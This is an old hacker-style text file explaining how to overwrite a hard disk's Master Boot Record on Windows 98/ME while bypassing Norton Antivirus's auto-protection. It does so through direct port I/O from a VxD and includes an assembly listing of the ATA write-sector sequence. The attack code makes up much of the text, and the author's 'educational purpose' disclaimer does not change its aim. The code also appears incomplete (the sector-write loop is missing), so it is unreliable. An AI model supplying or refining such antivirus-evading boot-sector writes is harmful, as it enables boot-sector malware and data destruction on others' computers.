"Deep in the sea are riches beyond compare.
But if you seek safety, it is on the shore."

Writing MBR When Norton Antivirus has
Auto-protection Enable

This is Only for Educational Purpose.Plz don't use this for Troubling ppl.I am not Responsible for Misusing this Information.

Actually I had tried this on Windows 98 First Edition,Second Edition,& Me.I ran this Program on 2 computers.It seems to work very fine with windows 98 First Edition. What i mean to say is that when i run the Program under Windows 98 Second Edition & Me on One computer i observe that i had to run the Program Several times then only it writes the (M)aster (B)oot
(R)ecord.While on other its just running Fine.I also know that it might be the problem coz the (computers having)Hard Disk on which i tested the code had different Disk Rotation Speed & Also i didn't check if the Disk Controllers is not Busy.But it Writes MBR. Ok ( 0x1F0 - 0x1F7 ) this is the I/O Port Range When Hard Disk is Primary Master.

The Details are as Follows:-

0x1F0 data register
0x1F1 error register
0x1F2 sector count
0x1F3 sector number
0x1F4 cylinder low
0x1F5 cylinder high
0x1F6 drive/head
0x1F7 command register

The Procedure is simple:-
Just Code a Vxd for doing our job.

mov dx, 1F2h ;; dx=0x1F2
mov al,1 ;; we want to write only 1 sector
out dx,al ;; out 1 to 0x1F2 port
inc dx ;; dx=0x1F3
out dx,al ;; out 1 (i.e 1st sector) to 0x1F3
inc dx ;; dx=0x1F4
xor ax,ax ;; al=0
out dx,al ;; out 0 (i.e 0 cylinder low) to 0x1F4
inc dx ;; dx=0x1F5
out dx,al ;; out 0 (i.e 0 cylinder high) to 0x1F5
mov al,10100000b ;;(drive & head)
inc dx ;; dx=0x1F6
out dx,al ;; out 0xA0 for Primary master
inc dx ;; dx=0x1F7
mov al,30h ;; 30h indicates write sector ;; 20h indicates read sector
out dx,al ;; so we wanna write...hmmm!! Bad guys

; Writing Sector 98 (FIRST EDITION) ...OK
lea ebx, buffer ;; address of buffer in ebx
mov dx, 1F0h ;; dx=0x1F0
mov cx, 256 ;; counter 512 bytes
mov ax,word ptr [ebx]
out dx,ax ;; data register 0x1F0

;Writing Sector 98 SE
lea ebx, buffer
mov dx, 1F0h
mov cx, 256
mov ebx,[ebx]
mov ax,word ptr [ebx]
out dx,ax

PLZ NOTE :- I had not checked the Disk Controller if its busy so if u want u can write that code ...ok
And Let me know Whats happens when u run that on ur Computer.

- Harshal Chaudhari